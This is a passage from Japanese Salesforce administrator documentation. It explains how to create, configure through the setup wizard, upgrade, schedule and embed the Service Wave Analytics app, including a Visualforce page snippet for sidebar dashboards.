ンテグレーションユーザがデータフローを実行したときにデータフローが失
敗する可能性があります。
a. [設定] に移動し、[クイック検索] ボックスにオブジェクトの名前 (「取引先」や「ケース」など) を入力

して Enter キーを押します。
b. オブジェクトの名前をクリックします。
c. 次のウィンドウには、そのオブジェクトのすべての項目が表示されます。項目レベルセキュリティを編

集する必要がある項目に移動します。
d. Analytics Cloud インテグレーションユーザを探し、[参照可能] で必要な項目のチェックボックスをオンに

し、[保存] をクリックします。
e. 使用する項目が含まれるすべてのオブジェクトで、a ～ d の手順を繰り返します。
f. ブラウザキャッシュを更新します。

3. Force.com メニュー (Salesforce ウィンドウの右上) から [Wave Analytics] を選択します。
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4. [作成]をクリックし、[アプリケーション]、[Wave for Service]の順に選択し、[次へ]をクリックします。Service

Wave設定ウィザードが開きます。ウィザードに一連の画面が表示され、それぞれに質問のセットと、回答
の選択肢のプルダウンメニューが示されます。Service Waveによって組織のデータがチェックされ、設定ウィ
ザードの質問とデフォルトの回答が作成されます。

重要: Service Waveでは、組織に 1 つ以上のクローズケースと 1 つの ToDo がある必要があります。エラー
メッセージが表示される場合は、メッセージで指定されたデータを Salesforce に追加してから、ステッ
プ 1 ～ 3 を繰り返してブラウザキャッシュを更新します。

5. 会社でデータをどう表示するかに従ってウィザードの質問に回答します。これらの質問への回答方法につ
いての詳細は、「設定ウィザードを使用した Service Wave のカスタマイズ」を参照してください。

6. 最後のウィザードの質問に移動します。このページには、選択した回答が組織のデータでサポートされて
いるかどうかをWaveでチェックするオプションがあります。組織に適切なデータが含まれていないとアプ
リケーションの作成に失敗するため、「はい」と回答してチェックを実行することをお勧めします。必要
なデータが見つからない場合、何をすべきかを示すエラーメッセージがWaveに表示されます。Salesforce で
必要な変更を加え、ブラウザキャッシュを更新してから、ウィザードに戻ってアプリケーションの作成を
完了します。

7. 会社の他のユーザにわかりやすい名前をアプリケーションに付けます。
8. [作成]をクリックします。アプリケーションとそのアセット (データフロー定義ファイル、データセット、

ダッシュボードなど) を作成するデータフローが起動されます。
9. アプリケーション作成プロセスには数分かかる場合があります。データフローの状況を確認できます。確

認する場合は、Wave ホームページを開き、ページの右上にあるギアメニューをクリックして、[データ監視]

を選択します。次に、左上にあるプルダウンで [データフロービュー] を選択し、目的のアプリケーション
を探します。

10. ダッシュボードを確認した後で回答を変更する場合は、アプリケーションホームページの左側にある [アプ
リケーションをリセット] リンクをクリックします。このリセット機能は、アプリケーションを最新バー
ジョンにアップグレードした後にのみ使用できます。「Service Wave アプリケーションのアップグレード」
を参照してください。
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[アプリケーションをリセット] をクリックすると設定ウィザードが開き、アプリケーション作成時に選択
した回答が表示されます。新しい回答を選択し、ウィザードの最後のページで [リセット] をクリックしま
す。新しい設定を使用してアプリケーションが再度作成されます。ダッシュボードを削除し、それを復元
する場合にもリセット機能を使用できます。

重要: アプリケーションをリセットすると、ダッシュボードのカスタマイズが削除されます。このカ
スタマイズには、データフローに追加した項目やオブジェクト、有効にしたアクション、セキュリ
ティ設定やダッシュボードの色と表示ラベルに加えた変更などがあります。カスタマイズを行った
ら、データフロー定義ファイルやダッシュボードのコピーを保存することをお勧めします。こうする
ことで、リセットを実行した場合にアプリケーションへコピーできます。

11. アプリケーションを削除して、最初からアプリケーション作成プロセスをやり直すこともできます。削除
するには、アプリケーションのアイコンの上にカーソルを置いて、[削除] をクリックします。次に、[はい]

をクリックして、アプリケーションに関連付けられたアセットをすべて削除することを確認します。
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メモ: アプリケーションを削除すると、そのバージョンのアプリケーションを作成したときに選択し
た回答は保持されず、設定ウィザードプロセスをやり直す必要があります。選択した回答を再利用す
るには、アプリケーションの再作成が完了するまでアプリケーションをそのままにし、完了後に削除
します。

12. アプリケーションを作成したら、次は組織のユーザと共有します。アプリケーションを共有できるのは、
「Wave Analytics テンプレートアプリケーションの使用」および「Service Cloud Analytics テンプレートおよびア
プリケーションへのアクセス」権限を持つユーザのみです (Service Wave アプリケーションの権限についての
詳細は、「Service Wave Analytics アプリケーションの Salesforce 権限の設定」を参照してください)。アプリケー
ションを共有するには、アプリケーションのアイコンの上にカーソルを置いて、[共有]をクリックします。
次に、チームメンバーの名前を入力して [追加] をクリックし、[保存] をクリックします。

いくつかの追加ステップで、Service Wave を組織のニーズにより的確に対応させることができます。
• サービスコンソールなどの任意の Salesforce ページにサイドバーダッシュボードを埋め込みます (ページ4366)。

このステップは、サービスエージェントにシームレスな分析の操作性を提供します。エージェントが定期
的に使用するページにサイドバーを埋め込み、通常の作業で主要な総計値にアクセスできるようにするこ
とで、エージェントは最も効果的に顧客に対応できます。

• Wave データセットビルダー (ページ4496)を使用して、Salesforce データに基づいてアプリケーションにデータ
セットを追加します。Service Wave には、Salesforce データに基づくデータセットのデフォルトセットが含ま
れます。追加データセットを作成することで、サービスマネージャがアプリケーションを使用して他の
Salesforce データを参照できるようになります。

メモ: Service Wave は、Salesforce 外部のデータソース、またはアプリケーションで生成されたデータフ
ローからの新規データセットの登録をサポートしていません。

• Service Wave にオブジェクト、項目、および検索条件を追加します。アプリケーションのデータフローを編
集 (ページ 4420)し、Salesforce の標準オブジェクトとカスタムオブジェクトおよび項目を含めます。Wave に
データを追加する手順の詳細は、「Wave Analytics データインテグレーション」を参照してください。

メモ: Service Waveアプリケーションライセンスのみで新規データセットを作成するには、Wave データセッ
トビルダーを使用します。Wave は、ビルダーを使用して作成された新規データセットを Wave のデフォル
トデータフローに関連付けます。Service Wave アプリケーションのデータフローを編集して新規データセッ
トを登録した場合、作成されたデータセットにはアクセスできません。

設定ウィザードを使用した Service Wave のカスタマイズ

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Service Wave 設定ウィザードを使用すると、Service Wave アプリケーションを会社
の Service Cloud データの表示方法に合わせて作成できます。
Service Wave を作成するときに、組み込みの設定ウィザードによって組織のデー
タがチェックされ、そのデータに基づいて一連の質問とデフォルトの回答が作
成されます。データによっては、ここに示されるすべての質問は表示されない
場合があり、一部の質問には異なるデフォルトの回答が含まれる場合がありま
す。
各自の回答に応じて、Service Wave アプリケーションのダッシュボードに Service

Cloud データがどのように表示されるかが決まります。組織での Service Cloud デー
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タの利用方法に基づいて、ダッシュボードができるだけ有意義かつ有用となるように、これらの質問に回答し
てください。
ウィザードには適切な回答を選択するのに役立つ説明があり、多くの質問は一目でわかるようになっていま
す。次に、ウィザードの使用方法に関するヒントを示します。このヒントでは、複雑な質問に回答する方法も
詳しく説明されています。

一般的なガイドライン
ウィザードを使用して最適の結果を得るには、次のガイドラインに従います。
• ほとんどの質問は、Salesforce オブジェクトの項目の選択リストで回答します。このリストには、オブジェ

クトに設定した標準の Salesforce 項目とカスタム項目が含まれます。表示される項目から選択してこれらの
質問に回答します。このタイプの質問の多くは 1 つの項目のみを選択できますが、一部の質問では複数の
項目を選択できます。

• オブジェクトの項目は 1 回のみ選択できます。選択した項目は他の質問の回答では使用できなくなります。
• 他の質問は、「はい」/「いいえ」 (Boolean) で回答するか、一連のオプションから選択するか、テキストを

入力する必要があります。
• アスタリスク (*) の付いた質問は必ず回答する必要があります。
• デフォルトの回答で一連の便利なダッシュボードが作成されます。選択する内容が不明な場合は、事前に

選択された回答を使用してください。一部の質問は事前に回答が選択されていません。その場合、選択を
促すメッセージが表示されます。

• ウィザードの設定では、アプリケーションの一部 (検索条件やウィジェットなど) のみを制御できます。ア
プリケーションは、ユーザがほとんど作業することなく、すぐに Analytics の価値を享受できるように構築さ
れています。

• 質問のコンテキストに適合するのは、一部の回答のみです。多くの場合、質問には多数の項目が含まれて
いますが、アプリケーションには一部の項目のみが有意義です。たとえば、取引先オブジェクトには [写真
の URL] 項目が含まれていますが、[写真の URL] で取引先データを絞り込むことはほとんどありません。

ページ 1: Service Wave にケースの総計値がどのように表示されるかの決定
ケースがどの程度速やかに解決されたか、サービスレベル契約 (SLA) の範囲内で解決されたかどうかなど、ケー
スの所要時間に関する、組織にとって重要な総計値を選択します。次の質問以外のすべての質問は、必須かつ
1 つの選択のみが可能です。
• 質問 1 (省略可能): ケースの所要時間を追跡するために Salesforce で使用するプライマリ項目がある場合、そ

の項目を示すように求められます。ケースの所要時間を追跡しない場合、Service Wave 独自の数式を使用し
て、ケースのオープン日とクローズ日に基づいてケースの所要時間が計算されます。ケースがまだオープ
ン中の場合、現在日付が計算に使用されます。選択できるのは 1 つのみです。ケースオブジェクトで [営業
時間] 項目を使用している場合、Service Wave に営業時間のケース所要時間の計算を含めることができます。
ウィザードのページ 3 の営業時間に関する質問を参照してください。

• 質問 2 (省略可能): ケースの所要時間に関する他の項目 (セカンダリ) を使用するかどうか質問されます。顧
客側の [所要時間] とエージェント側の [所要時間] など、複数の項目を選択できます。

• 質問 3: SLA の準拠を追跡するために使用する項目を選択するよう求められます。通常、SLA の準拠は、ケー
スオブジェクトのカスタム数式項目または標準の [マイルストン状況] 項目で追跡します ([マイルストン状
況] 項目値には、「準拠」、「オープン違反」、「クローズ違反」があります)。Boolean 型のカスタム数式

4359

事前作成済み Wave アプリケーション分析



項目を使用して SLA の準拠を追跡する場合、ウィザードでその項目を選択することはできません。その場
合、任意の項目を選択し、Boolean 型の項目を含めるようにデータフローを手動で編集します (「データフ
ローの設定」を参照)。次に、Service Wave ダッシュボード JSON でその項目名を検索して置換します (『Wave

Analytics ダッシュボード JSON ガイド』を参照)。
• 質問 4: ケースが初回連絡で解決したことを記録するために使用する項目を選択するよう求められます。通

常、初回連絡での解決は、ケースオブジェクトの Boolean 型のカスタム数式項目または標準の [作成時にク
ローズ] (IsClosedOnCreate) 項目で追跡します。

ページ 2: アプリケーションがデータをドリルインする方法の制御
Service Wave でケースの状況、重要度、所有者、理由、種別に関するデータにドリルインする方法を指定しま
す。サービスケースの発生源チャネル、および初回連絡で解決したかどうかに関するデータが Service Wave に
どのように表示されるかも制御します。次の質問以外のすべての質問は、必須かつ 1 つの回答の選択のみが可
能です。
• 質問 11: ケースの所有者の割り当てにキューを使用するかどうか質問されます。Service Cloud 組織にキューが

あり、少なくとも 1 つのケースがキューに関連付けられている場合にのみ、「はい」と答えます。

重要: 「はい」と答え、キューがなくケースがキューに関連付けられていない場合、Service Wave の作
成は失敗します。ウィザードの最後に実行できる省略可能なデータチェックでは、「はい」と答えて
キューを使用していない場合はエラーメッセージが返されます。

• 質問 12 (省略可能): ダッシュボードが組織にとって重要な基準にドリルインするように、前の質問で未対応
のケースオブジェクトの基準項目を選択します。基準は、ケース解決時間、オープンケースとクローズケー
スの数、収益など、定量的な値です。

• 質問 13 (省略可能): ダッシュボードが組織にとって重要なディメンションにドリルインするように、前の質
問で未対応のケースオブジェクトのディメンション項目を選択します。ディメンションは、日付、地域、
製品名など、定性的な値です。

ページ 3: レポート領域の選択
Service Waveダッシュボードのレポートに表示されるサービスデータの領域を選択します。これには顧客満足度
(CSAT)、ナレッジリソースとテレフォニーの使用、ケースが商談に関連付けられているかどうかが含まれる場
合があります。すべての質問は、必須かつ 1 つの選択のみが可能です。
• 質問 2: CSAT スコアを追跡するかどうか質問されます。「はい」と答えた場合、CSAT の追跡方法に関する質

問のページが表示されます。ページ 4 「CSAT 総計値の設定」を参照してください。
• 質問 3: サポートプロセスでナレッジリソースを使用するかどうか質問されます。「はい」と答えた場合、

ナレッジの使用方法に関する質問のページが表示されます。ページ 5 「ナレッジデータの設定」を参照し
てください。

重要:  Service Cloud 組織でナレッジを使用していない場合に「はい」と答えると、Service Wave の作成は
失敗します。ウィザードの最後に実行できる省略可能なデータチェックでは、「はい」と答えてナ
レッジを使用していない場合はエラーメッセージが返されます。

• 質問 4: サポートプロセスでテレフォニーを使用するかどうか質問されます。「はい」と答えた場合、Service

Wave でテレフォニーに関するダッシュボードが作成されます。
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重要: テレフォニーダッシュボードを正常に作成するには、Service Wave の ToDo オブジェクトで電話の
使用状況データを追跡する必要があります。組織の ToDo オブジェクトの標準活動項目に、通話時間、
通話オブジェクト ID、通話結果、通話種別などのテレフォニーデータがある必要があります。これら
の項目に通話データを保存する場合、「はい」と答えます。通話データをカスタムオブジェクトまた
は Salesforce 外部に保存する場合、「いいえ」と答えます。Service Cloud 組織で電話の使用状況データを
追跡していない場合に「はい」と答えると、Service Wave の作成は失敗します。ウィザードの最後に実
行できる省略可能なデータチェックでは、「はい」と答えてテレフォニーを使用していない場合はエ
ラーメッセージが返されます。

• 質問 7: ケース活動の追跡に行動オブジェクトを使用するかどうか質問されます。組織で行動オブジェクト
を使用している場合、「はい」を選択します。Service Wave によってオブジェクトのデータがデータセット
に追加されます。デフォルトは「いいえ」です。

重要:  Service Cloud 組織で行動を使用していない場合に「はい」と答えると、Service Wave の作成は失敗
します。ウィザードの最後に実行できる省略可能なデータチェックでは、「はい」と答えて行動を使
用していない場合はエラーメッセージが返されます。

• 質問 8: ケース所要時間の計算に営業時間を使用するかどうか質問されます。組織で [営業時間] 項目を使用
している場合、「はい」を選択します。Service Wave によって営業時間のケース所要時間の計算がデータセッ
トに追加されます。Analytics Cloud インテグレーションユーザプロファイルで [営業時間] の表示が無効になっ
ている場合、デフォルトで「No, need business hours visibility (いいえ、営業時間の表示が必要)」に設定されま
す。表示が無効になっていて [営業時間] を使用する場合、「Service Wave アプリケーションの作成と共有」
(ページ4355)の説明に従って、ケースオブジェクトで [営業時間] 項目を適切に表示するように項目レベルセ
キュリティを編集します。編集した後にウィザードを実行すると、「はい」を選択して営業時間の計算を
Service Wave データセットに追加できます。

重要:  Service Cloud 組織で営業時間を使用していない場合に「はい」と答えると、Service Wave の作成は
失敗します。ウィザードの最後に実行できる省略可能なデータチェックでは、「はい」と答えて営業
時間を使用していない場合はエラーメッセージが返されます。

ページ 4: CSAT 総計値の設定 (省略可能)

ダッシュボードに情報が正しく表示されるように、Service Waveで CSAT を追跡する方法を指定します。このペー
ジはページ 3 の質問 1 に「はい」と答えた場合にのみ表示され、この質問への回答は必須です。成功を収める
には、慎重に次の手順に従ってください。詳細は、「CSAT 総計値の設定例」を参照してください。
• 質問 1: CSAT の追跡にどのオブジェクトを使用するか質問されます。Service Wave のデフォルトでは、ケース

オブジェクトに設定されています。CSAT の追跡に別のオブジェクトを使用する場合、選択リストからその
オブジェクトを選択します。

• 質問 2: CSAT を追跡するために使用する、質問 1 で選択したオブジェクトの項目を選択するよう求められま
す。

• 質問 3 (省略可能): 質問 1 でケース以外のオブジェクトを選択した場合にのみ回答します。ダッシュボードに
CSAT データを表示するには、Service Wave でそのオブジェクトとケース間の結合を作成する必要があります
(結合の例は「CSAT 総計値の設定例」を参照)。ケースの識別情報を保存する項目の API 参照名を入力しま
す。通常、これは「Id」項目で、その場合は Id と入力します。
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Id 以外の項目の場合、その項目の API 参照名を検索します。[設定] —> [ケース] —> [項目] に移動します。標
準項目が示された上部のグラフの [項目名] 列に API 参照名が表示されます。たとえば、IsSelfServiceClosed

は [セルフサービスユーザによるクローズ] 項目の API 参照名です。下の方にあるカスタム項目のグラフに
は、[API 参照名] 列があります。

• 質問 4 (省略可能): 質問 1 でケース以外のオブジェクトを選択した場合にのみ回答します。ケースオブジェク
トと結合する、質問 1 で選択したオブジェクトの項目を決定します。ケース ID が含まれる項目を使用しま
す。ここでは、その項目の API 参照名を入力します。
項目の API 参照名を検索するには、[設定] --> [<選択したオブジェクト>] --> [項目] に移動します。標準項目
が示された上部のグラフの [項目名] 列に API 参照名が表示されます。下の方にあるカスタム項目のグラフに
は、[API 参照名] 列があります。

ページ 5: ナレッジデータの設定 (省略可能)

このページはページ 3 の質問 2 に「はい」と答えた場合にのみ表示され、この質問への回答は必須です。Service

Wave のダッシュボードでナレッジ記事に関するデータが表示される方法について質問されます。
• 質問 1 (省略可能): Service Wave のダッシュボードに表示されるデータの記事タイプについて質問されます。1

つの記事タイプのみを選択します。

ページ 6: 組織のデータのチェック
最後のウィザードの質問に移動します。このページには、選択した回答が組織のデータでサポートされている
かどうかを Wave でチェックするオプションがあります。組織に適切なデータが含まれていないとアプリケー
ションの作成に失敗するため、「はい」と回答してチェックを実行することをお勧めします。必要なデータが
見つからない場合、何をすべきかを示すエラーメッセージが Wave に表示されます。Salesforce で必要な変更を
加え、ブラウザキャッシュを更新してから、ウィザードに戻ってアプリケーションの作成を完了します。

CSAT 総計値の設定例
このシナリオには、Service Wave 設定ウィザードのページ 4 の質問に答えるために役立つ情報があります。
ケース以外のオブジェクトで、サービスケースの CSAT スコアなどの顧客満足度 (CSAT) データを追跡する場合、
このページの質問への回答は特に注意が必要です。
たとえば、CSAT スコアを「CSAT Survey」(CSAT アンケート) というカスタムオブジェクトに保存する場合、質問
1 でこのオブジェクトを選択します。質問 2 で、レポートに表示する CSAT の測定値が含まれる、[CSat スコア]

などの項目を指定します。Service Wave のダッシュボードに CSAT 別のケース、取引先、およびエージェントに
関するデータを表示できるように、質問 1 で指定したカスタムオブジェクトをケースオブジェクトに関連付け
る必要があります。このリレーションは結合を使用して作成されます。
ケースオブジェクトとカスタム CSAT オブジェクト間のリレーションを指定するには、両方のオブジェクトの
結合キーを指定し、質問 3 と 4 でそれぞれの API 参照名を入力します。通常、ケースオブジェクトではこれは
「Id」項目です。この例のカスタムオブジェクト「CSAT Survey」では、これはケース ID を保存するカスタム項
目です。このシナリオでは、API 参照名が CaseId__c の項目です。
次の図は、この 2 つのオブジェクトの結合を示しています。
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Service Wave アプリケーションのアップグレード

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

新しいバージョンがリリースされるたびにアプリケーションをアップグレード
して、最新の Service Wave 機能を活用します。
アプリケーションホームページの上部にあるバナーに、新しいバージョンのリ
リースが通知されます。リリースの詳細情報へのリンクも表示されます。アプ
リケーション名のすぐ下、ホームページの左側の列に、アップグレードプロセ
スを開始するためのリンクもあります。
アプリケーションをアップグレードする手順は、次のとおりです。
1. バナーの [新機能] リンクか、アプリケーションホームページの左側の列の [新

しいバージョンをご利用いただけます] をクリックします。
2. 開いたページの一番上に新しいバージョンに関する情報があります。ページ下部には、[現在のアプリケー

ションをアップグレード] ボタンと [新規アプリケーションを作成] ボタンがあります。
3. ボタンの上にマウスポインタを置くと、その機能についての説明が表示されます。[現在のアプリケーショ

ンをアップグレード]をクリックすると、現在のアプリケーションとすべてのアセットが上書きされ、新し
いバージョンに基づくアプリケーションに置き換えられます。アップグレードすると、データフローに加
えた新しい項目やオブジェクト、セキュリティ設定やダッシュボードの表示ラベルおよび色に加えた変更
などのカスタマイズも削除されます。[新規アプリケーションを作成] をクリックすると、新しいバージョ
ンに基づいて現在のアプリケーションの 2 つ目のコピーが作成されます。状況に合うオプションを決定し、
該当するボタンをクリックします。

4. 警告: アプリケーションをカスタマイズした場合は、[現在のアプリケーションをアップグレード]では
なく [新規アプリケーションを作成] をクリックし、新しいバージョンに基づいてアプリケーションの
コピーを作成します。新しいアプリケーションを作成すると、現在のバージョンとカスタマイズが保
存され、カスタマイズした内容を新しいバージョンのアプリケーションに手動でコピーできます。

[現在のアプリケーションをアップグレード] をクリックすると、アップグレードオプションは現在のアプ
リケーションを上書きし、追加したカスタマイズは削除されるという警告画面が表示されます。カスタマ
イズを上書きしても問題ない場合はチェックボックスをオンにし、[次へ] をクリックします。問題がある
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場合は、[戻る] をクリックして前の画面に戻ります。[次へ] をクリックすると、設定ウィザードへ進みま
す。ステップ 6 へスキップします。

5. [新規アプリケーションを作成] をクリックすると、設定ウィザードへ進みます。現在のアプリケーション
を上書きせず、追加したカスタマイズも保存されるため、警告は表示されません。

6. 設定ウィザードは、最後にウィザードを使用したときに選択した設定を読み込んで表示されます。これら
の設定を保持するか、変更できます。ウィザードの各ページを確認します。

7. ウィザードが完了すると、Wave の画面にアップグレードの影響を受けるアセットが表示されます。その画
面で、アップグレードによって変更、削除、追加されるデータセット、ダッシュボード、レンズの数を確
認します。また、アセットがどのように変更されるか (変更されたのはデータか、外観か) も表示されます。
同じ画面で、アプリケーションに行われた変更のコードが含まれるファイルをダウンロードすることもで
きます。アプリケーションをカスタマイズしている場合、ファイルをダウンロードして保存し、カスタマ
イズコードをコピーして、アップグレードされたバージョンに貼り付けることができます。

8. アップグレードオプションの場合のみ: アプリケーションをアップグレードする場合は、[現在のアプリケー
ションをアップグレード]をクリックします。これにより、行ったカスタマイズは上書きされます。また、
[戻る]をクリックし、設定ウィザードに戻って選択を変更することも、右上隅の [X]をクリックしてキャン
セルすることもできます。

9. 作成オプションの場合のみ: 新しいアプリケーションを作成する場合、現在のバージョンとは異なるアプリ
ケーション名を入力し、[新規アプリケーションを作成] をクリックします。このオプションでは、現在の
アプリケーションとそのすべてのカスタマイズが保存されます。また、[戻る]をクリックし、設定ウィザー
ドに戻って選択を変更することも、右上隅の [X] をクリックしてキャンセルすることもできます。

アプリケーション名の下のリンクに [アプリケーションをリセット] と表示されていれば、最新バージョンのア
プリケーションが使用されており、アップグレードの必要はありません。

Service Wave の日次データフローのスケジュール

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Service Wave で探索を開始する前に、日次データフローを通常の営業時間外にス
ケジュールします。
Service Wave を作成する場合、その作成プロセスには、最新の Service Cloud データ
を Wave にインポートするデータフローが含まれます。アプリケーションで最新
の Salesforce データを使用するために、データフローを毎日再実行するようにス
ケジュールできます。データフローによってアプリケーションの使用が妨げら
れないように、通常の営業時間外にデータフローが実行されるようにスケジュー
ルします。

メモ: Service Waveデータフローは、アプリケーションを作成するときに 1 回
のみ実行されます。アプリケーションで最新のサービスデータが使用され
るように、このデータフローの日次スケジュールを設定してください。

1. Salesforce ウィンドウの右上にある Force.com メニューで Wave Analytics に移動します (まだ移動していない場
合)。画面の右上にあるギアアイコンをクリックし、[データ監視] を開きます。
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2. [データ監視] 画面の左上にあるメニューから [データフロービュー] を選択します。

3. 作成したアプリケーションを見つけます。ページをスクロールダウンすることが必要になる場合もありま
す。アプリケーションのアイコンと名前の横にある画面右端のメニューを開きます。[スケジュール] を選
択し、データフローの時刻を設定します。データフローによって業務が妨げられないように、通常の勤務
時間外を選択します。[保存] をクリックします。
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Salesforce ページへの Service Wave サイドバーダッシュボードの埋め込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

「Wave Analytics テンプレートアプリケー
ションの使用」

Wave テンプレートアプリケーションを
使用する

「Service Cloud Analytics テンプレートお
よびアプリケーションへのアクセス」

Service Wave を使用する

「Wave Analytics テンプレートアプリケー
ションの管理」

Wave アプリケーションを作成および管
理する

「Wave Analytics データフローの編集」

「Wave Analytics データフローの編集」データセットの拡張メタデータ (XMD)
ファイルを編集する

「アプリケーションのカスタマイズ」Visualforce ページを作成する

Service Waveダッシュボードを Salesforce ページに追加し、サービスチームがケースの全体像を把握して適切に対
応できるようにします。
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Service Waveにはサイドバーと呼ばれる 3 つの特殊なダッシュボードがあり、サービスエージェントがケースに
関するデータの視覚化にすばやくアクセスできます。
• 「顧客別」サイドバーには、商品、ケースの原因と優先度、および CSAT を含む、エージェントの顧客のス

ナップショットが表示されます。
• 「類似性別」サイドバーには、以前のケースに関するデータが表示されるため、エージェントは類似する

ケースで行われた対応に基づいて顧客とのやりとりを進めることができます。
• 「ケース履歴別」サイドバーには、ケースのライフサイクルのクイックビューが表示されるため、エージェ

ントはより確かな情報に基づいて顧客に対応できます。
システム管理者は、エージェントが通常のケース作業の実行中にシームレスに Service Wave にアクセスできる
ように、これらを Salesforce ページに埋め込むことができます。たとえば、Salesforce システム管理者がサービス
コンソールから Service Cloud にアクセスできるようにする場合、サービスコンソールにサイドバーダッシュボー
ドを埋め込むことが理想的です。手順は、次のとおりです。
1. 各サイドバーの VisualForce ページを作成します。[設定] に移動して [クイック検索] ボックスに「Visualforce

ページ」と入力し、[Visualforce ページ] を選択して [新規] をクリックします。表示ラベルにサイドバーの名
前を入力し、必要に応じて説明を入力します。

2. エディタを開いたときに表示されるテキストを <apex:page standardController="case">
<wave:dashboard dashboardId="Your_dashboard_id" height="1000px" showTitle="false"

filter="Filter_condition" /></apex:page> に置き換えます。
a. Your_dashboard_ID をサイドバーのダッシュボード ID に置き換えます。Service Wave でサイドバーを

開くとダッシュボード ID を確認できます。ID はサイドバーの URL の最後の 15 文字です。
埋め込むサイドバーに応じて、次のいずれかのステップに進みます。
• 「顧客別」サイドバー: ステップ 3 に進みます。
• 「類似性別」サイドバー: ステップ 4 に進みます。
• 「ケース履歴別」サイドバー: ステップ 5 に進みます。

3. 「顧客別」サイドバーのページを作成する場合、filter="Filter_condition" を
filter="{'ServiceCase1': {'AccountId': ['{!case.AccountId}']}}" 検索条件に置き換えま
す。
a. ‘ServiceCase1’ は、Service Case データセット名のプレースホルダです。この名前を検索するには、

ダッシュボードを開いて Command+e を押し、ダッシュボードの JSON を表示して ServiceCase を検索
します。データセットの名前には、アプリケーションを作成するたびに増分する数値が追加されます
(‘ServiceCase2’ など)。この数値を含む完全なデータセット名を入力します。

b. ステップ 6 に進みます。

4. 「類似性別」サイドバーのページを作成する場合、filter="Filter_condition" を
filter="{'ServiceCase': {'Reason': ['{!case.Reason}'],'Product__c':

['{!case.Product__c}']}}” 検索条件に置き換えます。
a. ‘ServiceCase1’は、Service Case データセット名のプレースホルダです。この名前の検索方法について

は、「ステップ 3」を参照してください。
b. ‘Product_c’ は、商品の追跡に使用するカスタム項目の API 参照名のプレースホルダです。この項目

は、設定ウィザードのページ 2、質問 4 で選択した項目です。この項目の API 参照名を検索するには、
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[設定] に移動し、[クイック検索] ボックスに「Cases」と入力します。[項目] をクリックし、カスタム項
目名を確認して商品に使用する項目を検索します。項目の API 参照名を探し、その名前をクエリの両方
の ‘Product_c’ の代わりに使用します。

c. ステップ 6 に進みます。

5. 「ケース履歴別」サイドバーのページを作成する場合、filter="Filter_condition" を
filter="{'ServiceCase1': {'Id': ['{!case.Id}'], 'OwnerId' : ['{!case.OwnerId}'],

'Product__c' : ['{!case.Product__c}'], 'Reason' : ['{!case.Reason}']}}" 検索条件に置
き換えます。
a. ‘ServiceCase1’は、Service Case データセット名のプレースホルダです。この名前の検索方法について

は、「ステップ 4」を参照してください。
b. ‘Product__c’ は、商品ファミリの追跡に使用するカスタム項目名のプレースホルダです。その項目

名の検索方法については、「ステップ 4」を参照してください。
c. ‘Reason’ は、ケースの原因の追跡に使用する項目の API 参照名のプレースホルダです。この項目は、

設定ウィザードのページ 2、質問 5 で選択した項目です。この項目の API 参照名を検索するには、[設定]

に移動し、[クイック検索] ボックスに「Cases」と入力します。[項目] をクリックし、カスタム項目名
を確認してケースの原因に使用する項目を検索します。項目の API 参照名を探し、その名前をクエリの
‘Reason’ の代わりに使用します。

d. ステップ 6 に進みます。

6. ページを保存し、プレビューモードで開いてダッシュボードに表示されることを確認します。
7. コンソールまたは Salesforce の任意のページにこのページを追加します。[設定] を使用して、サイドバーに

含める特定のページレイアウトを検索します。たとえば、ケースオブジェクトの情報のページレイアウト
を使用するとします。この場合、[設定] の [クイック検索] ボックスに「Cases」と入力し、[ケース] の下の
[ページレイアウト] を開いて、編集するページレイアウトを探します。

8. [レイアウトを編集する] をクリックし、上部付近にある [カスタムコンソールコンポーネント] タブを選択
します。[右サイドバー] セクションに移動し、作成したページのいずれかを選択します。最初に [種別] か
ら [Visualforce ページ] を選択し、[コンポーネント] ドロップダウンから作成したページを選択します。表示
ラベルを入力します。

9. 幅を 450 ピクセルに設定し、レイアウトを保存します。編集したページにサイドバーが埋め込まれて表示
されます。

10. 必要に応じて、他の 2 つのサイドバーでこのステップを繰り返します。

Service Wave Analytics アプリケーションの制限事項について
Service Wave では、Service Cloud に特定のデータが含まれている必要があり、初期状態で制限された Salesforce オ
ブジェクトのセットがサポートされ、他のさまざまな制限事項があります。

Service Wave データ要件
Service Waveダッシュボードが正常に機能するには、Service Cloud データに次のそれぞれ 1 つ以上のデータが含ま
れている必要があります。
• 行動
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• ToDo

• クローズケース
• ケースまたは商談に添付された公開記事
ケースオブジェクトのカスタム数式項目が存在するか、次の項目が作成されている必要があります。
• SLA 失敗 (テキスト項目)

• FCR (Boolean)

Salesforce オブジェクトおよび項目の Service Wave サポート
Service Wave では、すべての Salesforce 標準/カスタムオブジェクトおよびデータがサポートされます。ただし、
アプリケーションの初回作成時は、デフォルトで定義済みのオブジェクトおよび項目のセットのみが含まれま
す。アプリケーションでは、次の Salesforce オブジェクトから選択された項目を公開するデータフローが作成さ
れます。
• Account

• Cases

• Contact

• Events

• User

• UserRole

• Task

Service Waveでは、設定ウィザードで選択した回答に応じて、次のオプションからの項目も使用する場合があり
ます。
• CaseArticle

• CaseHistory

• CSAT (カスタムオブジェクト)

• グループ
• 1 つのナレッジ記事タイプ (カスタムオブジェクト)

• RecordType

• 商談
Service Waveは、標準 Salesforce オブジェクトの標準およびカスタム項目をサポートしています。提供される項目
は、組み込みの設定ウィザードを使用してアプリケーションを作成したときの回答によって決まります。

メモ: Service Waveでサポートされるカスタムオブジェクトには制限があり、Service Wave を実装する組織ご
とに 10 個までとなっています。これは契約上の制限であり、技術的な制限ではありません。

アプリケーションの初回作成時に含まれていなかったカスタムオブジェクトまたは項目を追加するには、Service

Wave データフローを更新する必要があります。詳細は、「データフローを使用したデータセットの作成」を
参照してください。

Service Wave のその他の制限
Service Waveは、外部データソース、またはアプリケーションで生成されたデータフローからの新規データセッ
トの登録をサポートしていません。
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ダッシュボード/データフローへの CSAT スコアの追加は任意です。アプリケーション設定ウィザードでは、カ
スタムケース項目または関連付けられたカスタムオブジェクトからの CSAT をケースオブジェクトに関連付け
ることができます。
